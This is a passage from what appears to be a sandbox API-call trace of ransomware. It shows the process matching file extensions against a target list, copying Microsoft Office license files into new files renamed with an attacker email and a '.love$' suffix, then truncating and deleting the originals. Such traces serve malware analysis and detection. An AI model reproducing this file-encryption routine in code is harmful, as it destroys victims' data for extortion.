Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.799] lstrlenW (lpString=".zip") returned 4 [0260.799] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.799] lstrlenW (lpString=".rar") returned 4 [0260.799] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.799] lstrlenW (lpString=".bz2") returned 4 [0260.799] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.799] lstrlenW (lpString=".7z") returned 3 [0260.799] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.799] lstrlenW (lpString=".dbf") returned 4 [0260.799] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.799] lstrlenW (lpString=".1cd") returned 4 [0260.799] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.799] lstrlenW (lpString=".jpg") returned 4 [0260.799] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.799] lstrlenW (lpString=".doc") returned 4 [0260.799] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.800] lstrlenW (lpString=".docx") returned 5 [0260.800] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.800] lstrlenW (lpString=".pdf") returned 4 [0260.800] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.800] lstrlenW (lpString=".xls") returned 4 [0260.800] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.800] lstrlenW (lpString=".xlsx") returned 5 [0260.800] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.800] lstrlenW (lpString=".ppt") returned 4 [0260.800] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.801] lstrlenW (lpString=".zip") returned 4 [0260.801] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.801] lstrlenW (lpString=".rar") returned 4 [0260.801] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.801] lstrlenW (lpString=".bz2") returned 4 [0260.801] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.801] lstrlenW (lpString=".7z") returned 3 [0260.801] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.801] lstrlenW (lpString=".dbf") returned 4 [0260.801] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.801] lstrlenW (lpString=".1cd") returned 4 [0260.801] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.801] lstrlenW (lpString=".jpg") returned 4 [0260.801] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.801] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0260.801] lstrlenW (lpString="HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 37 [0260.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0260.802] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11644) returned 1 [0260.802] CloseHandle (hObject=0x53c) returned 1 [0260.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0260.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0260.803] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.803] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0260.805] GetLastError () returned 0x0 [0260.805] ReadFile (in: hFile=0x53c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0261.238] WriteFile (in: hFile=0x578, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0261.239] ReadFile (in: hFile=0x53c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.240] WriteFile (in: hFile=0x578, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11e, lpOverlapped=0x0) returned 1 [0261.240] SetEndOfFile (hFile=0x578) returned 1 [0261.270] CloseHandle (hObject=0x578) returned 1 [0261.280] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.280] SetEndOfFile (hFile=0x53c) returned 1 [0262.020] CloseHandle (hObject=0x53c) returned 1 [0262.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1 [0262.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.309] lstrlenW (lpString=".doc") returned 4 [0262.309] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.309] lstrlenW (lpString=".docx") returned 5 [0262.309] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.309] lstrlenW (lpString=".pdf") returned 4 [0262.309] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.309] lstrlenW (lpString=".xls") returned 4 [0262.309] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.309] lstrlenW (lpString=".xlsx") returned 5 [0262.309] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.309] lstrlenW (lpString=".ppt") returned 4 [0262.309] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.310] lstrlenW (lpString=".zip") returned 4 [0262.310] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.310] lstrlenW (lpString=".rar") returned 4 [0262.310] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.310] lstrlenW (lpString=".bz2") returned 4 [0262.310] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.310] lstrlenW (lpString=".7z") returned 3 [0262.310] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.310] lstrlenW (lpString=".dbf") returned 4 [0262.310] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.310] lstrlenW (lpString=".1cd") returned 4 [0262.310] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.310] lstrlenW (lpString=".jpg") returned 4 [0262.310] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.310] lstrlenW (lpString=".doc") returned 4 [0262.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.310] lstrlenW (lpString=".docx") returned 5 [0262.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.310] lstrlenW (lpString=".pdf") returned 4 [0262.310] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.311] lstrlenW (lpString=".xls") returned 4 [0262.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.311] lstrlenW (lpString=".xlsx") returned 5 [0262.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.311] lstrlenW (lpString=".ppt") returned 4 [0262.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.311] lstrlenW (lpString=".zip") returned 4 [0262.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.311] lstrlenW (lpString=".rar") returned 4 [0262.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.311] lstrlenW (lpString=".bz2") returned 4 [0262.311] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.311] lstrlenW (lpString=".7z") returned 3 [0262.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.311] lstrlenW (lpString=".dbf") returned 4 [0262.311] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.311] lstrlenW (lpString=".1cd") returned 4 [0262.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0262.311] lstrlenW (lpString=".jpg") returned 4 [0262.311] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.312] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0262.312] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 33 [0262.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.313] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=22093) returned 1 [0262.313] CloseHandle (hObject=0x4c8) returned 1 [0262.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0262.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.314] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.314] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.316] GetLastError () returned 0x0 [0262.316] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x564d, lpOverlapped=0x0) returned 1 [0262.319] WriteFile (in: hFile=0x42c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5650, lpOverlapped=0x0) returned 1 [0262.321] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.321] WriteFile (in: hFile=0x42c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x116, lpOverlapped=0x0) returned 1 [0262.322] SetEndOfFile (hFile=0x42c) returned 1 [0262.322] CloseHandle (hObject=0x42c) returned 1 [0262.322] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.322] SetEndOfFile (hFile=0x4c8) returned 1 [0262.327] CloseHandle (hObject=0x4c8) returned 1 [0262.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1 [0262.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.329] lstrlenW (lpString=".doc") returned 4 [0262.329] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.329] lstrlenW (lpString=".docx") returned 5 [0262.329] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.329] lstrlenW (lpString=".pdf") returned 4 [0262.329] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.329] lstrlenW (lpString=".xls") returned 4 [0262.329] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.329] lstrlenW (lpString=".xlsx") returned 5 [0262.330] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.330] lstrlenW (lpString=".ppt") returned 4 [0262.330] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.330] lstrlenW (lpString=".zip") returned 4 [0262.330] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.330] lstrlenW (lpString=".rar") returned 4 [0262.330] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.330] lstrlenW (lpString=".bz2") returned 4 [0262.330] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.330] lstrlenW (lpString=".7z") returned 3 [0262.330] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.330] lstrlenW (lpString=".dbf") returned 4 [0262.330] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.330] lstrlenW (lpString=".1cd") returned 4 [0262.330] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.330] lstrlenW (lpString=".jpg") returned 4 [0262.330] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.331] lstrlenW (lpString=".doc") returned 4 [0262.331] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.331] lstrlenW (lpString=".docx") returned 5 [0262.331] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.331] lstrlenW (lpString=".pdf") returned 4 [0262.331] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.331] lstrlenW (lpString=".xls") returned 4 [0262.331] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.331] lstrlenW (lpString=".xlsx") returned 5 [0262.331] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.331] lstrlenW (lpString=".ppt") returned 4 [0262.331] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.331] lstrlenW (lpString=".zip") returned 4 [0262.331] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.331] lstrlenW (lpString=".rar") returned 4 [0262.331] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.331] lstrlenW (lpString=".bz2") returned 4 [0262.331] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.331] lstrlenW (lpString=".7z") returned 3 [0262.331] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.331] lstrlenW (lpString=".dbf") returned 4 [0262.331] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.332] lstrlenW (lpString=".1cd") returned 4 [0262.332] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0262.332] lstrlenW (lpString=".jpg") returned 4 [0262.332] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.332] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0262.332] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 36 [0262.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.333] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11617) returned 1 [0262.333] CloseHandle (hObject=0x4c8) returned 1 [0262.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0262.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.334] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.335] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.336] GetLastError () returned 0x0 [0262.336] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d61, lpOverlapped=0x0) returned 1 [0262.339] WriteFile (in: hFile=0x42c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0262.340] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.340] WriteFile (in: hFile=0x42c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11c, lpOverlapped=0x0) returned 1 [0262.340] SetEndOfFile (hFile=0x42c) returned 1 [0262.341] CloseHandle (hObject=0x42c) returned 1 [0262.341] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.341] SetEndOfFile (hFile=0x4c8) returned 1 [0262.344] CloseHandle (hObject=0x4c8) returned 1 [0262.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0263.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 